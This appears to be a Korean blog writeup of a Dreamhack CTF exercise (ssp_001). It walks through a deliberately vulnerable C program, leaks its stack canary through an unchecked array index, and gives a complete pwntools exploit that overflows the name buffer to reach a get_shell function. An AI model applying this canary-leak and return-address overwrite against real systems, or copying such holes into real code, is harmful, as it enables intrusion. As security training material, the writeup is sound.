[dreamhack][writeup] System-stage6 : ssp_001

mj·2023년 5월 13일
0
post-thumbnail

1. 파일 확인

소스코드 확인

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

아래 코드 부분을 보면 idx 를 통해 box 배열의 인덱스의 값에 접근할 수 있다. 해당 코드에서는 idx 에 해당 검증이 없어서 메모리 leak 이 가능하다.

            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;

다음 코드를 코면 name_len 을 입력값으로 받아서 해당 크기만큼 name 배열에 입력을 받고 있다. name_len 에 배열 크기 이상의 숫자를 입력한다면 스택 버퍼 오버플로우 공격을 수행할 수 있다.

            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;

'P' 케이스를 여러번 수행하여 canary 를 leak 한 후, 스택 버퍼 오버플로우 공격을 수행하면 될 것 같다.

보호기법 확인

카나리가 설정되어 있는것을 확인할 수 있다.

2. 필요 정보 확인

공격을 위해서는 아래와 같은 정보가 필요하다

  1. name 과 canary 주소 차이
  2. name 과 return address 주소 차이
  3. box와 canary 주소 차이

canary 주소 확인

main 함수의 디스어셈블 코드를 확인해보았을 때-98 ebp-0x8 에 카나리가 위치해 있는 것을 알 수 있다.

  • 카나리 위치 : ebp-0x8

box 주소 확인

c 코드를 보면 두 번째 read 함수의 인자로 box 를 받고 있다. 해당 위치의 read 함수의 인자를 확인해보면 box 의 주소를 알수 있다.

  • box 위치 : ebp-0x88

name 주소 확인

c 코드에서 가장 마지막에 작성된 read 함수의 인자로 name 을 받고 있다. 해당 위치의 read 함수의 인자를 확인해보면 name 의 주소를 알 수 있다.

  • name 위치 : ebp-0x48

스택 구조 확인

위에서 구한 정보로 스택을 구성해보면 다음과 같다

3. 시나리오

카니리 릭

스택에서 카나리는 box[128], box[129], box[130], box[131] 에 위치한다. case 'P'를 4번 실행한 후 idx 의 값을 각각 128, 129, 130, 131 로 설정하면 카나리 값을 확인할 수 있다.

반환 주소 overwrite

위에서 구한 카나리를 사용하여 반환 주소를 get_shell() 함수의 주소로 덮어씌우면 쉘을 획득할 수 있다.

4. 익스플로잇 코드 작성

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))

def case_p(idx):
        p.recvuntil(b"> ")
        p.send(b"P")
        p.recvuntil(b"Element index : ")
        p.sendline(str(idx).encode())
        p.recvuntil(b"is : ")
        c = p.recvline()[:-1]
        return c

def case_e(name_len, name):
        p.recvuntil(b"> ")
        p.send(b"E")
        p.recvuntil(b"Name Size : ")
        p.sendline(str(name_len).encode())
        p.recvuntil(b"Name : ")
        p.send(name)

p = process("./ssp_001")
e = ELF("./ssp_001")
get_shell = e.symbols["get_shell"]

slog("get_shell", get_shell)

canary = b''
for i in [128, 129, 130, 131]:
        c = case_p(i)
        canary = c + canary

canary = int(b"0x" + canary, 16)
slog("canary", canary)


payload = b''
payload += b"A"*64
payload += p32(canary)
payload += b"A"*8
payload += p32(get_shell)

case_e(140, payload)
p.interactive()

5. 공격

로컬 공격

원격 공격

profile
사는게 쉽지가 않네요

0개의 댓글